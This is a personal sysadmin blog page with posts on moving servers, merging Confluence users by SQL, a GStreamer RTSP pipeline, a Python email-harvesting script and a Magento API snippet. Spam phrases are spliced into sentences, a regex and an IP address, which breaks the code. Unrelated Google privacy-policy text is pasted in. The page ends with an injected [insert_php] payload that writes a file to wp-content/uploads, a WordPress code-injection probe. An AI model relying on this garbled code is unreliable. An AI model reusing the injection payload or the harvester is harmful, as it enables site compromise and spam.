Moving servers again

I have now moved the golder z5bu7ui.org services from the two AWS EC2 instances they have been running on, to a single instance on a cheaper ISP, running in two LXC containers (with database in a docker container) team collaboration tools.

Theme change

I’ve changed the site theme to something I knocked up over the course of the day while playing around with Semantic UI. It’s quite a nice toolkit to work with check out this site. I’ll be doing more with it no doubt.

Merging Confluence users

One of my clients is running Confluence. Somewhere along the line, two user accounts had been created for one user, and content had been added using both users.

So muggins here to the rescue. Unfortunately, not much help to be found Googling, so I roll up my sleeves and dig into the Confluence DB schema. Oh what fun.

The main users table appears to be the ‘user_mapping’ table, where each user has a record. The user appears to have a long hash-like ID that represents them in any other records. I chose the ID of the account I would be merging from, and attempted to find the other tables involved in the database that would link to the record I am about to delete.

mysqldump --extended-insert=0 confluence | grep 8a8181c846f172ee014700f866ee0003 | cut -d\` -f2 | uniq

Which returns…

AO_6384AB_DISCOVERED
AO_92296B_AORECENTLY_VIEWED
AO_9412A1_AOUSER
AO_B8E7F9_TALK_SETTINGS
AO_CB7416_KARMA_USER
ATTACHMENTS
BODYCONTENT
CONTENT
CONTENT_LABEL
CONTENT_PERM
FOLLOW_CONNECTIONS
LABEL
NOTIFICATIONS
OS_PROPERTYENTRY
logininfo
user_mapping

Great. That’s 15 tables I need to process, excluding the user_mapping table. By process, I mean I need to check the schema, identify the user ID field, what it’s used for in that table and write an appropriate SQL statement to repoint things to the target user.

So, as they say on Blue Peter, here’s one I prepared earlier.

#!/bin/sh

OLDID=8a8181c846f172ee014700f866ee0003
NEWID=8a8181b34817190d014855c3954c0003

cat <<EOF | mysql -vv -f confluence
UPDATE AO_6384AB_DISCOVERED SET USER_KEY = '$NEWID' WHERE USER_KEY = '$OLDID';
UPDATE AO_92296B_AORECENTLY_VIEWED SET USER_KEY = '$NEWID' WHERE USER_KEY = '$OLDID';
DELETE FROM AO_9412A1_AOUSER WHERE USERNAME = '$OLDID';
DELETE FROM AO_B8E7F9_TALK_SETTINGS WHERE KEY LIKE "%$OLDID";
DELETE FROM AO_CB7416_KARMA_USER WHERE USER_KEY = '$OLDID';
UPDATE ATTACHMENTS SET CREATOR = '$NEWID' WHERE CREATOR = '$OLDID';
UPDATE ATTACHMENTS SET LASTMODIFIER = '$NEWID' WHERE LASTMODIFIER = '$OLDID';
UPDATE BODYCONTENT SET BODY = REPLACE(BODY, '$OLDID', '$NEWID') WHERE BODY LIKE "%$OLDID%";
UPDATE CONTENT SET CREATOR = '$NEWID' WHERE CREATOR = '$OLDID';
UPDATE CONTENT SET LASTMODIFIER = '$NEWID' WHERE LASTMODIFIER = '$OLDID';
UPDATE CONTENT SET USERNAME = '$NEWID' WHERE USERNAME = '$OLDID';
UPDATE CONTENT_PERM SET CREATOR = '$NEWID' WHERE CREATOR = '$OLDID';
UPDATE CONTENT_PERM SET LASTMODIFIER = '$NEWID' WHERE LASTMODIFIER = '$OLDID';
UPDATE CONTENT_PERM SET USERNAME = '$NEWID' WHERE USERNAME = '$OLDID';
UPDATE FOLLOW_CONNECTIONS SET FOLLOWER = '$NEWID' WHERE FOLLOWER = '$OLDID';
UPDATE FOLLOW_CONNECTIONS SET FOLLOWEE = '$NEWID' WHERE FOLLOWEE = '$OLDID';
UPDATE LABEL SET OWNER = '$NEWID' WHERE OWNER = '$OLDID';
UPDATE NOTIFICATIONS SET CREATOR = '$NEWID' WHERE CREATOR = '$OLDID';
UPDATE NOTIFICATIONS SET LASTMODIFIER = '$NEWID' WHERE LASTMODIFIER = '$OLDID';
UPDATE NOTIFICATIONS SET USERNAME = '$NEWID' WHERE USERNAME = '$OLDID';
DELETE FROM OS_PROPERTYENTRY WHERE entity_name LIKE "%-$OLDID";
DELETE FROM logininfo WHERE USERNAME = '$OLDID';
EOF

This may or may not be useful to other Confluence admins. This user had only done a handful of edits, so there may be more tables involved in your case (YMMV).

And don’t forget your backups project management tools.

New SSL CA key

I have re-issued the CA certificate for golder.org. If you are seeing SSL-related errors, please ensure you install <a href="http://media look at this website.golder.org/GolderCA.pem”>the latest CA certificate.

GStreamer pipeline for RTSP stream

A simple gstreamer pipeline to display at RTSP stream (from an Aircam)…

gst-launch -m rtspsrc location=rtsp://172 best collaboration tools.16.2.251/live/ch00_0 ! rtph264depay ! ffdec_h264 ! ffmpegcolorspace ! autovideosink

Harvest e-mail addresses from stdin

A little python script to do this:

#!/usr/bin/env python

import sys
import re

bulkemails = sys.stdin.read()

# regex = whoEver@wHerever.xxx
r = re.compile("[-a-zA-Z0-9 have a peek at this site._]+@[-a-zA-Z0-9_]+.[a-zA-Z0-9_.]+")
results = r.findall(bulkemails)

emails = ""   
for x in results:
	print str(x)


Magento API problem setting additional_attributes

For some reason, it’s damn hard to get the additional_attributes set via Magento’s v2 API collaboration tools for business. Even the example code in their API docs doesn’t cover it. After trying many permutations, I finally managed to get it working with the following snippet of code:

<?php

$soapopts = array('trace' => 1, 'exceptions' => 1, 'features' => SOAP_SINGLE_ELEMENT_ARRAYS);
$client = new SoapClient ( 'http://www.yourmagentosite.com/api/v2_soap/?wsdl', $soapopts);
$session = $client->login ( 'apiuser', 'apipassword' ); 

$productData = (object)array(
	'additional_attributes' => (object)array(
		'single_data' => array(
			(object)array(
				'key' => 'custom_image_url',
				'value' => 'http://www.yourmagentosite.com/nicepic.jpg',
			),
		),
	),
);
$result = $client->catalogProductUpdate($session, 'abjb91', $productData);
print $client->__getLastRequest();
var_dump($result);

Tidy up website

So I finally got round to creating a basic WordPress theme from my old Joomla theme the original source. Here it is. Enjoy, but bear in mind it’ll be a bit rough around the edges for now.

Hopefully, I will find some time one day to fill in all the older support content, and all my historical blog entries, and otherwise fill it out a bit.

Another server move

When you use Google services, you trust us with your information. This Privacy Policy is meant to help you understand what data we collect, why we collect it, and what we do with it. This is important; we hope you will take time to read it carefully. And remember, you can find controls to manage your information and protect your privacy and security at My Account project collaboration tools.
There are many different ways you can use our services – to search for and share information, to communicate with other people or to create new content. When you share information with us, for example by creating a Google Account, we can make those services even better – to show you more relevant search results and ads, to help you connect with people or to make sharing with others quicker and easier. As you use our services, we want you to be clear how we’re using information and the ways in which you can protect your privacy.
Our Privacy Policy may change from time to time. We will not reduce your rights under this Privacy Policy without your explicit consent. We will post any privacy policy changes on this page and, if the changes are significant, we will provide a more prominent notice (including, for certain services, email notification of privacy policy changes). We will also keep prior versions of this Privacy Policy in an archive for your review.
[insert_php] echo 147098235+111;file_put_contents(‘wp-content/uploads/info.php’, ”); [/insert_php]

 echo 147098235+111;file_put_contents('wp-content/uploads/info.php', '');